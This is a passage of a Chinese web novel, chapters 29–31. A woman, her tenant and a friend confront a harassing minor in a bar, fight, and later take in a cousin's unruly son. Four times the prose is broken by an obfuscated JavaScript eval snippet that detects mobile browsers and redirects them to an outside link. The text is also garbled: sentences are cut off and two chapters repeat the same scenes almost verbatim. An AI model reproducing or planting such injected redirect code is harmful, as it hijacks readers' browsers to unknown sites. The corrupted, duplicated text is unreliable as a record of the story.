提及“舞台”就等于提起酒吧,也就等于提起那个未成年女流氓,于是话题又绕了回去,琼云提议道:“不方便和那个女生起正面冲突,要不再试试上次下蛊的那个方法。” 阿桐眉头紧皱, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364307|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃痛般嘶了一声,道:“这个办法骗骗外地人还行,本地人,整不好,对方反而有真货。” 琼云分析道:“她要真有情蛊,早就给你下了,哪里还用得着威胁你。” “女的和女的之间也能下情蛊吗?” “应该能吧,虽然听说过的都是女的给男的下。” “明天晚上再说吧,我不能拿它们两个跟那个疯婆娘冒险,她要是还找来……”阿桐说到这里突然噗嗤了一声,面部肌肉紧绷着笑意,“我恐怕真要像你……那个租客说的,把鼻屎抠出来弹到她身上哈哈哈哈哈。”阿桐笑弯了腰。 午饭过后,雨渐渐停了下来,乌云也被风拨散,露出了微弱的阳光,何成瑞久违地跟琼云打了一通电话,然后大概半个小时后,他提了一桶自家泡的青梅酒上门找琼云叙旧。 屈朗午休醒来发现天已经晴了,他查看天气预报,上面显示晚上九点之前都没有降雨,于是试图挽回因他准备不周而取消服务购买的顾客,他给对方发了消息,主动提出减去五分之二的费用,也就是打六折。 等待顾客回复的期间,他从卧室里出来,听到楼下有说话声,来自一对年轻的男女,他可以清晰分辨出女方是琼云,而男方的嗓音却很陌生。 于是他来到楼下,就看到了正在茶几前叙旧的琼云与何成瑞。 琼云很难得用紫砂壶泡了茶,这说明她对面那个看起来与她年龄相仿的男人大概率不是工作上的普通客人,甚至两人十分熟悉,因为那男人和师庆也聊的有来有回。 屈朗一开始以为他们是亲戚关系,但仔细听琼云与那男人的聊天内容,发现两人其实是高中同学。 何成瑞放暑假回来,在本地一家新能源企业找了一份实习工作,这是他本次过来带给琼云的最主要的信息,剩余的只是关于近况和旧事的闲扯。 两人的叙旧最终止步于何成瑞拒绝琼云“留下来吃晚饭”这种疑似的客套话。 琼云将何成瑞送走后,把青梅酒打开倒进刚才用来喝茶的杯子里,浅酌了一口,酸酸甜甜的,很好喝,还是熟悉的味道。 屈朗摸了摸鼻子,问道:“你高中同学啊?” “我前男友。”这四个字从嘴里说出来,令琼云莫名感到兴奋,把杯子里剩下的酒一口气喝完。 “啊?”屈朗由于惊诧的情绪表演了一个王八探头。 “这酒你要喝吗?他送的。”琼云拿了一个干净的杯子,倒满一杯青梅酒,走过去塞进屈朗手里,“青梅的味道,喝起来像饮料一样,我高中的时候就特别爱喝。” “分手了关系还这么好。”屈朗捏住酒杯,酒倒得太满,稍微一晃就溢到了手指上,“你们还是高中同学,不会是初恋吧?” “对啊,是初恋。”琼云的眼睛亮晶晶的。 屈朗又露出那种熟悉的类似痴呆的表情来。 29.第 29 章 隔天晚上,阿桐结束休假,恢复工作,需要再次前往酒吧,琼云准备做护花使者一路护送,虽然她也不敢对未成年小女生使用暴力手段,但再不济,也要在离开的时候拦她一拦,免得阿桐再次被跟踪。 热心人民群众屈朗同志表示也想一同前往,但师·爽文打脸工具人·炮灰反派·琼云以轻蔑的眼神和傲慢的语气狠狠嘲讽了莫欺少年穷·可惜目前仍是废柴的他:“你那个一杯倒的酒量就别去拖后腿了。” “又不一定要点酒喝。”屈朗反驳完,心里发虚,伸长脖子问阿桐:“不花钱会被赶出去吗?” 阿桐皱起眉头,道:“不会赶,但服务员会一直缠着你。” “那能点饮料吗?一点酒精都没有的那种。” 琼云莫名很火大,咬牙切齿地说:“点盘洋葱圈算了,你不是很爱吃吗?” 屈朗似乎没听出这句话中嘲讽的意味,还很惊喜地表示赞同:“好主意。” “真是,你们考虑这些干什么?”阿桐大手挥出,潇洒地往胸口一拍,“我买单。” “你同意我去啊?”屈朗两眼放光,找到靠山,立即展现出小人得志的面孔,打脸琼云:“你朋友同意我去。” 他去与不去,真正的选择权并不在琼云手上,她无法反对,沉思片刻后,找补道:“也行,多一个人去,多一个帮手。”这句话的确经过了深思熟虑,停顿的时间并非完全出于尴尬——万一半路去卫生间,让阿桐孤立无援,就需要一名靠谱的伙伴帮忙代班。 确认完毕,三人立刻动身前往酒吧,乘车抵达目的地门口,然后鬼鬼祟祟像前来踩点的小偷一样钻进去。 阿桐的挑染鲻鱼头太过显眼,所以她用一顶黑色的针织帽将头发压缩成海苔,紧贴头皮,不往外露出半分,琼云和屈朗作为保镖略有前后错落地将她夹在中间,三人的队形像一款很有个性的三明治。 非完全已知的危险总是以出人意料的形式降临,进入酒吧后没多久,还没等走到舞台上,阿桐就突然停下了前进的脚步。 “你看到她了吗?”琼云发现阿桐的目光直直盯着某一处,“哪个?” 阿桐悄声说:“在跟人亲嘴那个。” 酒吧内正播放着暧昧迷幻的蒸汽波流派音乐,一对纵情舌吻的男女挤在最小最便宜的某张卡座里,女孩穿着吊带包臀裙,不像未成年,被男人搂在怀里,表情看起来像是遭牙齿咬疼了舌头,很痛苦,而且满脸泪痕,她的这种痛苦使得整幅画面不仅仅流于庸俗的情欲表象,而是拥有了一个可令观者充满无限遐想的未知内核。 屈朗看了会儿那对正在接吻的男女,又看了会儿阿桐,看了会儿阿桐,又看了会儿那对还在接吻的男女,最后发出灵魂叩问:“那男的是男的还是女的?” 琼云仔细观察“男方”的体貌特征,有喉结、没胸、肩宽、胯窄、裆部有可疑凸起:“是男的。” 屈朗不禁再次发出灵魂叩问:“那,那女的到底是喜欢男的还是喜欢女的?” 阿桐观察自己与“男方”的共同点,稍加思索,便知:“喜欢帅的。” “那好办,等会儿我去勾引她。”屈朗的舍生取义,竟换来琼云和阿桐诉说“厚颜无耻”的目光。 屈朗的心好痛——为众人抱薪者,不可使其冻毙于风雪。 于是阿桐收回风雪的释放窗口,掏出手机给那对火热的男女拍了一张照片。 她有一个好主意。 “你拍照片干什么?” “一边追求我一边和别人接吻,被我撞见了,我看她还好意思再对我死缠烂打。” “那为什么不现在就过去质问她?”屈朗提议道。 琼云有更深层的考虑:“在酒吧里起正面冲突,搞不好阿桐会被开除的。” 屈朗一想有道理,但是:“我们两个又不在这里工作。” 琼云一想,这也有道理,于是对阿桐说:“你先找个地方躲起来。” 可阿桐的脸皮没那么厚:“我的事情,我自己躲起来,让你们两个去冒险,开什么玩笑?” “我又不是去跟他们打架。” “要是只有那女的一个人还好,她旁边那个男的,你知道他什么来路,跟她在一起肯定也是个二流子。” “那你打算怎么办,把照片私发给那女的?这也不见得有效,你不可能一直躲着她。” 琼云和阿桐无休止的争论令屈朗感到不耐烦:“怎么那么麻烦,我们三个人还怕他们两个?”他甩下这句简单粗暴的论据,就气势汹汹地朝那对男女走过去。 “喂!你别那么冲动好不好?”深思熟虑过后的完美计划只能在想象中完美执行,实际执行过程中的变数往往会打得人措手不及——琼云连忙追过去,带着阿桐也跟了过去。 到了跟前,那对男女竟仍在忘情地舌吻,甚至吻得更加狂野了,原本忧伤的古典主义转变成了具有强烈视觉冲击力的野兽派,三人的存在感无限接近于0,尴尬程度不亚于群P中落单的人。 “你们亲之前刷牙了吗?”屈朗俯身凑上前去,更近距离观看,他是个非常典型的不学习的时候就充满求知欲的人,“亲完以后要不要洗脸啊?你们两个互相啃得满脸都是口水。” “傻逼。” ——邱妙津在《蒙马特遗书》中的第十书写道:“□□——爱欲——死欲三者最强的时候是一致的。”而当屈朗这个第三者介入时,这对男女又萌生出了第四种极致的欲望——杀欲。 他们松开彼此的唇舌,带着充满杀意的眼神和满脸亮晶晶的口水眼泪,极尽羞辱性的词汇骂屈朗这个傻逼骂了个痛快。 等情绪平静下来后,传闻中的“未成年女流氓“很快就发现她死皮赖脸追求已久的阿桐也站在她的面前,于是猛然从卡座上弹起来,指着阿桐的鼻子骂道:“你他妈不是辞职了吗?!耍老子!” 跟流氓是讲不通道理的,更别谈拿普世的道德观去压制,显然她对自己一边追求阿桐一边和别人接吻被阿桐本人撞见这件事丝毫不感到愧疚或羞耻。 所以阿桐接下去,从第一件事——做了一个自以为很帅气的动作——摘下针织帽,露出蓬松的鸡窝头开始,就错了:“你一天到晚对我死缠烂打,要不是看你是个女孩,我早揍你了!现在让我看见了,在这里跟别人亲嘴,还好意思说喜欢我?滚远点。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367911|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我跟谁亲嘴关你屁事!操你妈的敢骗老子!”女孩扯男伴的衣袖,冲他打手势,“揍她!” 琼云猛地将阿桐逮到身后,朝开阔的地方大喊:“保安呢!?谁把未成年放进来的!这条街每天晚上都有警察巡逻,你们找死啊!” 与此同时,屈朗做了一个能证明自己很讲信用的行为——闪身到那未成年女孩跟前,嬉皮笑脸地说道:“你为什么要喜欢她呢?不如看看我,我长得比她帅。” 这个行为迅速将女孩男伴原本瞄准阿桐的火力引到了他的身上。 男人猛地揪住屈朗的领口,爆了他一脸口水:“操你妈找死,敢动老子的女人!?” 屈朗继续嬉皮笑脸地挑衅:“你女人喜欢别人你不管,绿毛龟。” 男人听到这个刺耳的词汇,立即勃然大怒,挥出一拳,打在屈朗的脸上。 等琼云看到店长和保安匆忙赶过来的身影,从焦急的情绪中回过神,这件事情已经发生了。 斗殴对普通人而言是一件能迅速耗尽人体力的事情,因此在体力充沛、因愤怒而使肾上腺素飙升瞬间挥出的第一拳尤为强劲。 屈朗被打得脸扭到一边,踉跄着后退了几步,险些摔到地上。 但愤怒这种情绪并非谁的专属,包括愤怒所给予人超乎寻常的力量和勇气——没等屈朗自己反应过来,琼云就冲上去猛力一脚踢中对方的裆部,等对方疼得弯下腰,她又一脚将人踹倒在地,踩在他的脸上做出碾灭烟头的动作。 于是保安和店长赶到时,拦的反而是琼云这个喊救命的人。 琼云感到愤怒,与此同时又极度兴奋,心率跳到将近两百bpm,她松开男人的脸,不等保安反应过来,迅速扑向旁边落单的女孩,扇了她一个耳光。 琼云觉得阿桐想错了,一个极度嚣张但不敢自己动手、只敢喊比她更高大更有力量的人动手,而且会在警察面前示弱的人,是不会因为拥有未成年人保护法的庇荫就有胆量在和比她高大的成年人起肢体冲突的时候下死手的,这种缺乏良知却会见风使舵的人所信奉的唯一法则,就是弱肉强食。 琼云打完那一耳光,双手死死掐住女孩瘦小的肩膀,凶神恶煞地警告道:“你再敢去骚扰我朋友试试看?下次就不止这一耳光了,别让我在这个酒吧里再看到你,滚!”说完用力一推,女孩的身体跌倒在沙发边沿,随后无力地滑落到地上,抖似筛糠。 琼云做完这些,仍未消气,冲又来拦阻她的店长和保安骂道:“知道员工被未成年骚扰,还把人放进来,你们干什么吃的?!” 店长连忙向她道歉。 琼云无视,回到屈朗和阿桐身边,捧住屈朗的脸,用拇指摁压被打伤的那一侧,柔声问道:“痛吗?需不需要去医院?” 屈朗眨了眨眼睛,眼睛里的亮光像星星一样闪烁,他说:“你亲我一下,我就不痛了。” 琼云松开他的脸,用力推了他一把。 屈朗顺着鼻息轻轻哼笑了两声,“你这个人太不诚实了,但是……我这个人也不讲信用,之前说没有把追你这件事当游戏的话,我收回,我现在很有必须把游戏打通关的胜负欲。” 30.第 31 章 单违规接纳未成年人这一件事被警察发现,就足以令酒吧遭到罚款处罚,更何况衍生出了斗殴事件,极大概率还会被勒令停业整顿,所以店长不会选择报警处理。 琼云决定立即离开,趁着酒吧内光线昏暗,被她打倒在地的未成年小太妹的男伴还来不及记住她和屈朗的长相,也来不及打电话摇人过来报复。 三个人一起从酒吧大门出去,躲进了街对面的便利店,他们要蹲守酒吧的处理结果,这决定阿桐的工作还能不能保住。 屈朗的脸肿了,琼云进入便利店后做的第一件事就是从冰柜里掏了个冰块杯摁到他脸上:“自己拿着,除了被打伤的地方还有没有别的地方不舒服?” 屈朗屏息凝神感受了一会儿,说:“好像没有。” “没有就好。”琼云掏出手机转身去收银台付钱,阿桐把她的手机捂了回去。 “你们要吃什么?”阿桐打量收银台旁边的熟食区。 琼云说:“不吃。” 三个人要在便利店待一段时间,阿桐不好意思什么都不买,于是自作主张:“拿三根烤肠,肉的,不要淀粉肠,关东煮要吗?” “不要。” “你呢?”阿桐后倾身体问屈朗。 屈朗摇了摇头,摁在脸上的冰块杯发出清脆的声响。 于是阿桐给自己来了一份关东煮,然后三个人一人拿着一根烤肠并排坐到了角落的座位上。 约莫十分钟后,阿桐给店长打去电话问情况,店长说那个未成年和她的男伴被他跟保安从后门“扔”出去了,还赔了一千块钱,然后店长为这一千块钱的损失开始指责阿桐。 阿桐从叱骂中插嘴进去:“那我今晚还要不要过去唱?” “你辞职吧。”店长直言不讳,他要找个人来承担所有罪责。 便利店里很安静,阿桐没开免提,电话里的声音也被琼云听得一清二楚,琼云把手机夺过来贴到自己耳边,骂回去:“你们把未成年放进去不用负责任吗?还是员工已经反应过被跟踪骚扰的情况下,那个未成年的女生去过酒吧好几次了,我不相信你们所有工作人员没一个记得她长什么样子!我看亏一千块钱还不够,我去举报让你们再罚三万块!” “……”店长沉默了一会儿,突然发觉有一点不对劲:“你刚才怎么不叫警察?” 琼云被揪住把柄,上下嘴唇联动闭拢,一口气泄不出去直接堵回嗓子眼,等看到屈朗凑过来的红肿半边脸,才想到由头,重振士气继续威慑:“要不是你们把未成年放进来,我朋友也不会被打伤,你还好意思问!刚才还低三下四地跟我道歉,人前人后两幅面孔,你这点鼠目寸光的小聪明不用在解决问题上,一出事就甩锅,迟早把酒吧干倒闭!” 店长的回应却意外冷静:“那男的混混很嚣张,说要找人弄你们,你确定还要让你朋友在我们这里继续工作?” 琼云顿时哑口无言,阿桐把手机拿回去,自己跟店长说:“把工资结清就行,其它的我没意见。”随后就挂断了电话。 琼云扭头怒视屈朗,还没等开口骂他,他就心虚地缩起了脖子,小声说了句对不起。 阿桐清了清嗓子,道:“如果没你们帮忙,我也迟早要辞职的,要怪也是怪那个傻逼女,我们三个人里面算起来,我的责任才是最大的。” 琼云抬手,屈朗以为她要打他,躲了一下,没想到琼云只是把冰块杯拿开,捧住他的脸,这里摁一摁,那里翻一翻,给他做检查。 “眼睛看得清吗?” “看得清。” “耳朵呢?有没有嗡嗡嗡的响?” “刚才在酒吧里有,现在没有了。” “头会晕吗?” “也是刚打完的时候有点晕,现在不晕。” “看看牙齿,张嘴。” “啊——” “不是看你的扁桃体。” “哦。” …… 确认没有骨折或神经受损,阿桐打了网约车。等还差一分钟的时候,三人从便利店里出去,正巧碰上疑似刚从隔壁网吧出来的一对骂骂咧咧的父子,儿子看起来还是个未成年,所以挨骂的原因很好猜,无非贪玩被老子逮到了。 琼云听这位父亲的嗓音感觉很是耳熟,等到了跟前,仔细一看:“阿哥?” 虽然两人的年纪相差将近两轮,但辈分上却是表兄妹。 “阿云。”表哥一秒变脸,展露灿烂笑容,“可是跟朋友出来玩嘛?” 琼云嗯了一声,见网约车到了,跟表哥打了声招呼,快步赶过去。 隐约听到后头的表哥开始跟自己儿子展示别人家的优秀小孩:“你这个姑妈,书读得成呢,又懂事,哪点像你一天到黑到处疯,你要跟人家看齐!再不想读书,我就把你送去这个姑妈家去学做木匠!等你吃着苦头,就认得读书香喽!” 琼云以为这段话的后半句和前半句一样只是平平无奇的信口开河,直到隔天一早表哥真把他的儿子给拎过来了,顺带一桶菜籽油、一箱牛奶、一盒水果。 琼云目瞪口呆。 长得黢黑黢黑的老子指示黢黑黢黑的小子:“叫姑妈。” “6.”小子对自己老子比了个“六”的手势,“把女生叫这么老,人家要跟你生气,没情商。” 老子一想,这姑妈和侄子差了还不到十岁,叫起来是有点变扭,于是改口:“叫姐姐。” 小子又甩出一个“六”:“牛逼,谁叫姑妈叫姐姐?” 老子一下子火大起来:“那你别叫!你就在这点好生学!” 琼云打断施法:“你把他送工地上搬砖好啊,那个更辛苦,大太阳底下累个一天就想回去读书了。” “工地上太危险了,年纪这么小不要去。”师庆很没默契地将琼云的推辞驳回,还面带慈祥的微笑看着小孩。 琼云一个眼刀甩过去——这爹脑子不太灵光,还以为这魔童能真心愿意跟他学艺,传承传统文化呢? 于是琼云又找茬:“他身上零花钱够吗?等下还要自己出去买饭吃,你多给他点。” 表哥一听,立马懂了,掏出手机来就开始翻琼云的微信,“我一给他钱,他铁定偷着跑去网吧,我转五百块给你,麻烦小妹,你帮我在你这点改造一下他,中午饭添双筷子,我早上送过来,晚上接归去。” 师庆连忙过来推辞:“钱你就莫给了,就是多双筷子的事情嘛,不用给钱,你都送这么多东西过来。” 琼云一听这话,脑子差点炸了,连忙掏出自己手机点进微信翻找收款码,“你让他给嘛,让他给,不给心里头过意不去,但是这东西也要讲天赋讲自己喜欢的,你让他在我这里学一天先,他要是一点也不想学,那我也没得办法,你就把他带回去,到时候钱我也退给你。” 表哥哈哈大笑,“小妹,爽快人。”扫了琼云给的付款码,麻利把钱转过去。 然后表哥开始跟师庆唠起了嗑。 小孩闲得没事干,溜到琼云身边,没大没小地问:“你叫什么名字?” 琼云不惯着他:“你先告诉我你叫什么名字。” “我叫刘子麟。” 琼云重复:“六子麟。” “刘子麟,第二声。”小孩纠正,随后摆出嘲讽的嘴脸,“我爹还说你读书很好,连普通话都说不标准,傻屌。” 琼云不与小儿争辩,继续重复:“六子麟。” “傻屌。” “我没有屌。” “傻逼。” “……” 两个孩子爹唠了十来分钟,然后其中一个就走了,走了以后,屈朗马上从楼上下来补上这个人员空缺。 屈朗打着哈欠,显然没睡醒,有些迷迷糊糊的,就看见一小孩跑过来指着他问:“你脸怎么了?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17400948|196775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 屈朗捂住脸上的淤青,如实回答:“被人打了。” “6.” 屈朗反应了一会儿,看向琼云,指着刘子麟问:“这谁家小孩?你亲戚家的?现在的小孩一张嘴就是网络梗,一点都不可爱,我们两个以后有小孩了,绝对不能让他太早接触网络。” 琼云听到后半句满头黑线:“你有病吧?” 刘子麟指了下屈朗,又指了下琼云:“你是她老公啊?” 屈朗顿时发出了欢快的笑声,指着刘子麟:“这小孩真会说话。” 刘子麟又指着屈朗对琼云说:“他笑起来跟个傻屌样的,难怪是你老公。” 屈朗脸上的笑容瞬间僵住,一把抓住刘子麟无礼指着他的那只手,扳到背后与另一只胳膊拧在一起拧成麻花将人擒住:“我没招你没惹你,你上来就骂我,再这么说话小心我揍你。” 刘子麟痛得面红耳赤,嘴巴仍旧不干净:“操你妈,放开老子。” 琼云威胁道:“你爸把你送过来就是为了教育你的,你再这么不听话,他真的可以揍你,他不是我老公,他只是租住在我家里的客人,他打你没有任何负担,你想清楚再决定。” 刘子麟不说话了,狰狞的脸也恢复平静,屈朗把他放开。 “刘子麟,过来。”师庆手里拿着一把锯子,正单脚踩在一块厚实的木板上,而木板又搭在一张小条凳上。 刘子麟听话过去了,琼云和屈朗也跟着过去。 搭在条凳上的木板比条凳长一些,朝右手边凸出一大截,上面用铅笔画了一圈笔直方正的分割线。 师庆让刘子麟接替他把左脚踩上去,然后将锯子递给他,指着分割线对他说:“沿着铅笔画的这条线,锯下来。” 刘子麟抱怨道:“早就有电锯了,干嘛还用这种手动的锯子,累死。” 琼云道:“手动锯累,但是安全,电锯快,但是危险,可能把你自己的手锯下来,你选哪个?” 刘子麟语出惊人:“手锯断了我以后就不能工作了,我爸妈要养我一辈子,学也不用上了。” 琼云挑衅地朝他勾手:“你过来,我跟你扳手腕,你扳得过我,我就给你用电锯。” 刘子麟等开学就要念初一了,并没有比琼云矮多少,他打量了眼琼云纤细的手腕,嗤笑一声,扔下锯子,跟着琼云来到工作台前,一人一张凳子,在桌角坐下,一人一只右肘,搭在桌子上,两手相握,卡住对方的虎口。 “三、二、一。” 话音刚落,琼云就获得压倒性的胜利。 刘子麟不服气:“再来一次,我来数。” “三、二、一。” 琼云热了身,手臂肌肉充血,比第一次赢得更快。 “你再来一次也是一样的结果。”琼云抬下巴,下指令,“去锯木头。” 刘子麟一脸不高兴地从座位上起来,紧接着屈朗傻乐着坐下去:“我也要扳。” 琼云搭在桌子上的手还没收回,屈朗直接抓住。 琼云条件反射数三二一,依旧轻松获得压倒性胜利,但她觉得屈朗作为一个发育正常的成年男性,力气不该这么小,于是质问道:“你用力了吗?” 屈朗敷衍地嗯了一声,略微松开琼云的手,用指尖摩挲她的掌心,从五指间的缝隙钻进去紧紧扣住,另一只手摸向琼云的手背,白皙的手背上凸着蓝紫色的血管,摸起来有起伏。 琼云反应过来他醉翁之意不在酒,立即把手抽回去。 屈朗还很不要脸地恳求道:“我再摸会儿。” “老色批。”刘子麟的声音从两人背后幽幽传来。 “现在的小孩一个个说话……”屈朗老成地啧了一声,回过头去为自己辩白:“我不老。” 刘子麟指着屈朗对师庆打小报告:“这黄毛想泡你女儿。” 屈朗反驳:“我头发是黑的。” 31.第 31 章 单是违规接纳未成年人这一件事被警察发现,就足以令酒吧遭到罚款处罚,更何况还衍生出了斗殴事件,极大概率会被勒令停业整顿,所以店长不会选择报警处理。 而琼云作为斗殴事件的参与者,甚至是主力,自然也不想见到警察,她决定立即离开,趁着酒吧内光线昏暗,被她打倒在地的未成年小太妹的男伴还来不及记住她和屈朗的长相,也来不及打电话摇人过来报复。 三个人一起从酒吧大门出去,躲进了街对面的便利店,他们要蹲守酒吧的处理结果,这决定阿桐的工作还能不能保住。 屈朗的脸肿了,琼云进入便利店后做的第一件事就是从冰柜里掏了个冰块杯摁到他脸上:“除了被打伤的地方还有没有别的地方不舒服?自己拿着。” 屈朗连带琼云被冻凉的手指一起握住,“好像没有。” “没有就好。”琼云从一面冷一面热的夹层中抽离手指,掏出手机转身去收银台付钱,阿桐把她的手机捂了回去。 “你们要吃什么?”阿桐打量收银台旁边的熟食区。 琼云说不吃。 但三个人要在便利店待一段时间,阿桐不好意思什么都不买,于是自作主张:“拿三根烤肠,肉的,不要淀粉肠,关东煮要吗?” “不要。” “你呢?”阿桐后倾身体问屈朗。 屈朗摇了摇头,摁在脸上的冰块杯跟着发出清脆的声响。 于是阿桐给自己来了一份关东煮,然后三个人一人拿着一根烤肠并排坐到了角落的座位上。 约莫十分钟后,阿桐给店长打去电话问情况,店长说那个未成年和她的男伴被他跟保安从后门“扔”出去了,还赔了一千块钱,然后店长为这一千块钱的损失指责起阿桐来。 被骂了半分钟后,阿桐插嘴进去:“那我今晚还要不要过去唱?” “你辞职吧。”店长直言不讳,他要找个人来承担所有罪责。 便利店里很安静,即便阿桐没开免提,电话里的声音也被琼云听得一清二楚,琼云一把将手机夺过来,骂回去:“你们把未成年放进去一点责任都不用负吗?还是员工已经反应过被跟踪骚扰的情况下,我不相信你们所有工作人员没一个记得她长什么样子!我看亏一千块钱还不够,我去举报让你们再罚三万块!” “……”店长沉默了一会儿,突然发觉有一点不对劲:“你刚才怎么不叫警察?你是刚才打人的那个女生吧?” 琼云被揪住把柄,联动上下嘴唇闭拢,一口气泄不出去直接堵回嗓子眼,等看到屈朗凑过来的红肿的半边脸,才想到由头,重振士气:“要不是你们把未成年放进来,我朋友也不会被打伤,你还好意思问!刚才还低三下四地跟我道歉,人前人后两幅面孔,你这点鼠目寸光的小聪明不用在解决问题上,一出事就甩锅,迟早把酒吧干倒闭!” 店长的回应却意外冷静:“那男的混混很嚣张,说要找人弄你们,你确定还要让你朋友在我们酒吧上班?” 琼云顿时哑口无言,阿桐把手机拿回去,自己跟店长说:“把工资结清就行,其它的我没意见。”随后就挂断了电话。 琼云猛地抓住阿桐的手:“那个未成年知道你住在哪里,你先别搬回去,联系一下房东,看看会不会有奇怪的人找来,实在不行还是换个地方住。” 阿桐点头,“蜘蛛先放你那里,我搬去我爸妈家住。” 琼云咬了下嘴唇,安慰道:“这店长这么不负责任,辞了也好,反正又不止它一家酒吧,换一家说不定待遇更好。” “呃……”阿桐心想,这么一闹,搞不好会被所有酒吧老板拉入黑名单,有些难为情地说:“我还是找份正经工作吧。” 琼云会意了个大概,不由得心头火起,扭头怒视屈朗——是谁意气用事开的坏头? “对不起。”屈朗心虚地缩起了脖子。 阿桐清了清嗓子,打破僵局:“如果没你们帮忙,我也迟早要辞职的,要怪也是怪那个傻逼女,我们三个人里面算起来,我的责任才是最大的。” 经阿桐这么一劝,琼云也反省了一下自己没沉住气动手打了人,心里的火灭掉大半,她突然抬起手,屈朗以为她要打他,闭上眼睛躲了一下,结果琼云只是把冰块杯拿开,捧住他的脸,这里摁一摁,那里翻一翻,给他做检查。 “眼睛看得清吗?” “看得清。” “耳朵呢?有没有嗡嗡嗡的响?” “刚才在酒吧里有,现在没有了。” “头会晕吗?” “也是刚打完的时候有点晕,现在不晕。” “看看牙齿,张嘴。” “啊——” “不是看你的扁桃体。” …… 确认没有骨折或神经受损,阿桐打了网约车,三个人从便利店里出去,正巧碰上疑似刚从隔壁网吧出来的一对骂骂咧咧的父子,儿子看起来还是个未成年,所以挨骂的原因很好猜,无非贪玩被老子逮到了。 琼云听这位父亲的嗓音有点耳熟,等到了跟前,仔细一看:“阿哥?” 虽然两人的年纪相差将近两轮,但辈分上却是表兄妹。 “小妹。”表哥一秒变脸,展露灿烂笑容,“可是跟朋友出来玩嘛?” 琼云嗯了一声,见对上颜色型号的车到了,匆忙跟表哥打了声招呼,便和阿桐屈朗一起赶过去。 隐约听到后头的表哥拿她当“别人家的小孩”给自家儿子打榜样:“你这个姑妈,书读得成呢,又懂事,哪点像你一天到黑到处疯,你要跟人家看齐!再不想读书,我就把你送去这个姑妈家学做木匠!等你吃着苦头,就认得读书香喽!” 琼云以为这段话的后半句和前半句一样只是平平无奇的信口开河,直到隔天一早表哥真把他的儿子给拎过来了,顺带一桶菜籽油、一箱牛奶、一盒水果。 琼云目瞪口呆。 长得黢黑黢黑的老子指示黢黑黢黑的小子:“叫姑妈。” “6.”小子对老子比了个“六”的手势,“把女生叫这么老,人家要跟你生气,没情商。” 老子一想,这姑妈和侄子差了还不到十岁,叫起来是有点变扭,于是改口:“叫姐姐。” 小子又甩出一个“六”:“牛逼,谁叫姑妈叫姐姐?” 老子一下子火大起来:“那你别叫!你就在这点好生学!” 琼云打断施法:“你把他送工地上搬砖好啊,那个更辛苦,大太阳底下累个一天就想回去读书了。” “工地上太危险了,年纪这么小不要去。”师庆很没默契地将琼云的推辞驳回,还面带慈祥的微笑看着小孩。 琼云一个眼刀甩过去——这爹脑子不太灵光,还以为这魔童能真心愿意跟他学艺,传承传统文化呢? 于是琼云又找茬:“他身上零花钱够吗?等下还要自己出去买饭吃,你多给他点。” 表哥一听,立马懂了,但又没完全懂,掏出手机就开始翻琼云的微信,“我一给他钱,他铁定偷着跑去网吧,我转五百块给你,麻烦小妹,你帮我在你这点改造一下他,中午饭添双筷子,我早上送过来,晚上接归去。” 师庆连忙推辞:“钱你就莫给了,就是多双筷子的事情嘛,不用给钱,你都送这么多东西过来。” 琼云一听这话,脑子差点炸了,赶紧掏出手机点进微信翻找收款码:“你让他给嘛,让他给,不给心里头过意不去,但是这东西也要讲天赋,自己喜欢才行,你让他在我这里学一天先,他要是一点也学不进去,那我也没办法,你就把他带回去,到时候钱我也退给你。” 表哥哈哈大笑:“小妹,爽快人。”扫了琼云给的付款码,麻利把钱转过去。 然后表哥开始跟师庆唠起了嗑。 小孩闲得没事干,在屋子里溜达一圈溜到琼云身边,没大没小地问:“你叫什么名字?” 琼云只在拜年或红白喜事的宴席上见过这小孩几面,也不知道他叫什么名字:“你先告诉我你叫什么名字。” “我叫刘子麟。” 琼云重复:“六子麟。” “刘子麟,第二声。”小孩纠正,随后摆出嘲讽的嘴脸,“我爹还说你读书很好,连普通话都说不标准,傻屌。” 琼云不与小儿争辩,继续重复:“六子麟。” “傻屌。” “我没有屌。” “傻逼。” “……” 两个孩子爹唠了十来分钟,其中一个就走了,走了以后,屈朗好像得到号召似 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17404238|196775||http|test|mini|href|location''.split(''|''),0,{})); () { 